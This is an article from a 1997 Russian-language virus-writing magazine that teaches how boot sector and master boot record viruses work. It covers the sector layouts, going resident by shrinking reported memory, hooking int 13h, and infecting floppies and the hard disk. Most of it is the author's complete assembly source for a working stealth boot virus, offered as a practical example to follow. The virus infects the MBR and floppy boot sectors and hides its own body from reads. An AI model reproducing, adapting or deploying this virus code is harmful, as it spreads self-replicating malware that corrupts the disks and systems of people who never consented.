
      ▄▄                  █
     ▀▀▀  Virus Magazine  █ Box 176, Kiev 210, Ukraine      IV  1997
     ▀██ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ █ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀▀▀▀▐▀▀▀  █▀▀▀▀▀▀█
      ▐█ █▀▄ █▀▀ ▄▀▀ ▄▀▀ ▄█▄ ▄▀▀ █▀█    ▌ █ ▄▀█ █ ▄▀▀ █▄▄   █ █  █ █
       █ █ █ █▀  █▀  █    █  █▀  █ █    █ █ █ █ █ █   █     █ █  █ █
       █ ▐ ▐ ▐   ▐▄▄ ▐▄▄  ▐  ▐▄▄ ▐▄▀     ▀█ ▀▄█ ▐ ▐▄▄ ▐▄▄▄  █ █  █ █
       ▐ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄  █▄▄▄▄▄▄█
          (C) Copyright, 1994-97, by STEALTH group WorldWide, unLtd.

                2. Boot record и Master Boot Record  (BOOT&MBR).

2.1 Что это такое?
BOOT и MBR это первые сектора соответственно дискеты и жесткого диска.
Когда включается компьютер, BIOS прогнав тесты памяти, загружает первый 
сектор дискеты или жесткого диска (это как в сетапе указано) в память по 
адресу 0:7C00 и передает на этот адрес управление!
Получая управление,данный код ищет на диске файлы операционной системы,
считывает их в память и передает на них управление.Hадо сказать,что MBR 
вместо прямой загрузки системы,читает с указанного логического диска 
винчестера первый сектор (а это простой,как у дискеты,BOOT сектор) и 
передает на него управление, а тот в свою очередь считывает систему и 
запускает ее! Все!Пошла система...
Можно заменить код этих секторов на код вируса -- получаем т.н. БУТОВЫЙ 
вирус.

2.2 Формат загрузочного сектора дискеты.
 ╔═════════════════════╗ <- org 0
 ║ jmp BootCode        ║
 ║ ------------------- ║ <- org 3
 ║ Данные о дискете    ║ <-- они говорят ДОСу о параметрах
 ║                     ║     файловой системы дискеты
 ║                     ║
 ║ ------------------- ║ <- org 003Eh
 ║ BootCode:           ║ <-- он загружает систему
 ║                     ║     и запускает ее
 ║                     ║
 ║                     ║
 ║ ------------------- ║
 ║       Данные        ║ <-- строки типа Non System Disk ... IBMBIO.COM ...
 ╚═════════════════════╝ <- org 512 (200h)

2.3 Формат главного загрузочного сектора жесткого диска.
 ╔═════════════════════╗ <- org 0
 ║ BootCode:           ║ <-- он загружает BOOT сектор с указанного
 ║                     ║     логического диска винчестера и запускает
 ║                     ║     его
 ║ ------------------- ║
 ║       Данные        ║ <-- строки типа Invalid Partition Table ...
 ║ ------------------- ║
 ║ Обычно тут пусто    ║ <-- исполняемый код MBRа столь мал,что остается
 ║                     ║  незаполненное пространство (но MBRы бывают разные)
 ║ ------------------- ║ <- org 01BEh
 ║ Таблица разделов    ║ <-- она содержит информацию о каждом логическом
 ║ винчестера          ║     диске винчестера (начало,конец,тип)
 ╚═════════════════════╝ <- org 512 (200h)

2.4 Принципы функционирования загрузочных вирусов.
а) Вирус может заменить код в первом секторе дискеты или винчестера и сам
   грузить систему.
б) Вирус перезаписывает оригинальный BOOT или MBR в свободное пространство
   на диске, и после инсталляции своего тела в память считывает его и 
   запускает.

 Рассмотрим второй вариант.Обычно алгоритм работы вируса делится на несколько
этапов :
 - посадка в память
 - запуск оригинального BOOT/MBR
 - отслеживание обращений к незараженым дискетам и заражение оных

Как бутовый вирус оставляет себя резидентным в памяти :
 В ячейке 0:0413h хранится общее количество ОЗУ компьютера.Система считывает
это значение и дальше него не полезет!
 Если вирус уменьшит значение в этой ячейке, то у него будет кусок памяти
невидимый ДОСу.Мы можем перенести в этот кусок собственно тело вируса!

Как запустить оригинальный загрузочный сектор :
 В теле вируса должен содержаться номер сектора куда он поместил оригинальный
BOOT/MBR.После перенесения своего тела в откушенную память,мы считаем этот
сектор под адрес 0:7C00h и передадим туда управление!

Как отследить обращение к дискетам :
 Для работы с дисками используется прерывание int 13h.В таблице векторов
прерываний адрес этого вектора указывает на некий код в ПЗУ.Ежели запомнить
этот адрес в теле вируса и поставить в место него адрес вирусного обработ-
чика,то при каждом вызове int 13h управление получит вирус.После отработки 
вирусного int 13h мы передадим управление на адрес оригинального обработчика
сохраненный в теле вируса!

 Hужно знать,что нельзя просто записать поверх первого сектора свой код!!!
Из форматов видно,что в BOOT и MBR присутствуют таблицы описывающие диск!!!
Поэтому в вирусе надо оставить дырки под эти структуры (смещения указаны на
диаграммах) и при заражении перенести в них данные из таких же смещений
оригинального загрузочного сектора!!!

2.5 Пример загрузочного вируса.
Я привожу пример написанного мною бутового вируса для практического пояснения
всех теоретических положений преведенных в п.п. 2.1...2.4
(в данном вирусе присутствует не упомянутая выше возможность - при попытке
 прочтения зараженого загрузочного сектора т.е. тела вируса,вирус
 подставляет вместо него оригинальный загрузочный сектор)

                .model tiny
                .code
                org     00h  ; Compile to EXE file!

;################### Virus ####################

start:
                jmp     install
; Данные системы для флоппи дисков.-----------
sys_data:       db      ?

                org     03eh

@sys_data:      db      ?
; --------------------------------------------
int_13h_entry:
                mov     cs:AH_dann,ah ; Сохраним код запрашиваемой операции
                int     0d8h          ; Выполним то,что нас просят.
                pushf        ; Сохраним флаги коие образовались после выпол-
                             ; нения функции.
                cmp     byte ptr cs:AH_dann,02  ; Проверяем производилось ли
                jnz     _@exit                  ; чтение секторов!
                push    ax                      ; Если да то :
                push    bx
                push    cx
                push    dx
                push    di
                push    si
                push    es
                push    ds
;-Read BOOT ? ----------------
                cmp     cx,0001       ; Считывался BOOT сектор?
                jnz     @exit
                cmp     dh,00
                jz      _1            ; ДА!
;-----------------------------
@exit:
                pop     ds
                pop     es
                pop     si
                pop     di
                pop     dx
                pop     cx
                pop     bx
                pop     ax
_@exit:
                popf   ; Восстановим флаги, полученные после выполнения
                       ; стандартной функции BIOS'а!
                       ; (Это потому что если произошла ошибка,то подымается
                       ; флаг CF,и чтобы в процессе "нашей"
                       ; работы этот флаг не утерял своего состояния,
                       ; то мы запихали его в стек,а теперь восстановили!)
                retf    02    ; Отдаем управление вызывавшей задаче.
;-----------------------------
_1:
                call    scan    ; Программа считала тело вируса?
                push    es
                pop     ds
                jnc     infect_disk
;- Hidding virus body.--------
                mov     ax,0201h ; Если ДА,то из этого самого тела возьмем
                                 ; данные о новом месте старого BOOT сектора
                                 ; и считаем его на место считанного вируса!
                mov     cx,[bx+offset CX_dann+1]
                mov     dl,[bx+offset DH_dann+1]
                int     0d8h
                jmp short @exit
;-----------------------------
; А если BOOT сектор еще не подвергся заражению,то заразим его!
; Дальнейшая часть кода использует таблицу диска считанного BOOT сектора.
;  *СТРУКТУРА:
;───────────────────────────────────────────────────────────────────────────
; Смещение    Длина          Содержимое
;    0          3       JMP nn        Переход на код загрузки
;    3          8       (IBM  3.3)    Имя компании и версия системы
;    0B         2       SectSiz       байтов на сектор
;    0D         1       ClustSiz      секторов на кластер
;    0E         2       ResSecs       секторов перед первой FAT
;    10         1       FatCnt        число таблиц FAT
;    11         2       RootSiz       max число 32-байтовых элементов в ROOT
;    13         2       TotSecs       общее число секторов на носителе
;    15         1       Media         то же,что и первый байт FAT
;    16         2       FatSize       число секторов в одной FAT
;    18         2       TrkSecs       секторов на дорожку
;    1A         2       HeadCnt       число поверхностей
;    1B         2       HidSec        скрытых секторов
;
;───────────────────────────────────────────────────────────────────────────
; Через эти данные мы вычисляем место конца корневого каталога (ROOT)
;и записываем чистый BOOT в это место!
; (Собственно говоря,чтобы не ломать себе голову над алгоритмом - я содрал
; недостающую часть из ANTI_EXE.Но мой вирус будет записывать чистый BOOT в
; [конец ROOT'а-1])
infect_disk:
                mov     ax,[bx+16h]
                mul     byte ptr [bx+10h]
                add     ax,[bx+0eh]
                push    dx
                mov     cl,04
                mov     dx,[bx+11h]
                shr     dx,cl
                add     ax,dx
                dec     ax
                mov     cx,[bx+18h]
                push    cx
                shl     cx,01
                xor     dx,dx
                div     cx
                pop     cx
                push    ax
                xchg    ax,dx
                xor     dx,dx
                div     cx
                mov     dh,al
                mov     cl,dl
                pop     ax
                mov     ch,al
                pop     ax
                mov     dl,al
                mov     byte ptr cs:[offset DH_dann+1],dh
                mov     word ptr cs:[offset CX_dann+1],cx
                mov     ax,0301h
                push    ax
                int     0d8h    ; Write clear boot sector!
                pop     ax
                jc      @exit
; Теперь,чтобы дискета приняла вируса как родного - нужно скопировать
; таблицу диска из чистого BOOT'а в таблицу вируса!
                cld
                push    cs
                pop     es
                mov     di,offset sys_data
                mov     si,bx
                mov     cx,offset @sys_data-offset sys_data
                add     si,di
                rep     movsb
                inc     cx
                mov     dh,00
                xor     bx,bx
                int     0d8h
                jmp     @exit
;----------------------------------------------
;@-Main()-@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
install:
                cld
                cli
                xor     di,di   ; Установим некоторые регистры!
                mov     ds,di
                mov     ss,di
                mov     sp,7c00h
                mov     si,sp
                sti
                push    si
                dec     word ptr ds:[0413h]  ; Уменьшим общее кол-во памяти
                                             ; на 1кб.
                int     12h     ; AX = Top memory in kb.
                mov     cl,06
                shl     ax,cl   ; AX = сегмент "уменьшеной" памяти!
                push    ax
                mov     bx,offset inf_vint
                mov     es,ax
                mov     cx,256
                rep     movsw ; Перенесем тело вируса в откушенную память.
                push    bx
                retf          ; Передадим управление на перенесенное тело!
;----------------------------------------------
inf_vint:
                les     di,ds:[13h*4]  ; Переставим int_13h на int_0D8h!
                mov     ds:[0d8h*4],di
                mov     ds:[0d8h*4+2],es
; А теперь посадим свой обработчик на int_13h!
                mov     word ptr ds:[13h*4],offset int_13h_entry
                mov     ds:[13h*4+2],ax
                mov     ax,0201h
;- Load origin BOOT.-------------------
                mov     es,cx
CX_dann:        mov     cx,0005                 ; Track/Sector.
DH_dann:        mov     dh,01                   ; Side.
;--------------------------------------
        mov     word ptr cs:[bx+((offset CX_dann+1)-offset inf_vint)],000ch
        mov     byte ptr cs:[bx+((offset DH_dann+1)-offset inf_vint)],00h
                pop     bx
                push    ds
                push    bx
                push    dx
                cmp     cx,000ch        ; HD
                jnz     diskette
                mov     dl,80h
                int     13h
exit:
                test    byte ptr ds:[046ch],07  ; Timer
                jnz     no_msg
;- Print message.-------------------
                push    cs
                pop     ds
                mov     si,offset message
_2:
                lodsb
                or      al,al
                jz      no_msg
                mov     ah,0eh
                mov     bh,07
                int     10h
                jmp short _2
no_msg:
                pop     dx
                retf
diskette:
                push    ax
                int     13h
;- Infecting HD.-----------------------
                pop     ax              ; ax=0201h
                mov     dx,0080h        ; HD
                mov     cx,0001         ; MBR
                mov     bx,7c00h+512
                int     0d8h
                jc      exit
                call    scan
                jc      exit
;-
                push    cs
                pop     es
                mov     di,offset Partition_Table
                mov     si,7c00h+200h+1beh    ; Offset old partition.
                mov     cl,(21h*2)            ; Partition len.
                rep     movsb
;- Write new MBR.----------------------
                mov     ax,0301h
                push    ax
                push    bx
                mov     bx,cx
                inc     cx
                int     13h
;- Write origin MBR to new area.-------
                pop     bx
                pop     ax
                mov     cl,0ch
                push    ds
                pop     es
_@:
                int     13h
                retf
;--------------------------------------
scan            proc
count           equ     (offset _@-offset start)
                cmp     word ptr es:[bx+count],13cdh
                stc
                jz      _exit
                clc
_exit:
                ret
scan            endp
;----------------------------------------------
message         db      '(c)Light General',13,10
                db      'THE LAST TEMPTATION',00
;----------------------------------------------
                org     1beh

Partition_Table db      (21h*2) dup ('$')
;----------------------------------------------
                org     510
                db      055h
                db      0aah
;----------------------------------------------
AH_dann         db      ?
;----------------------------------------------
                end start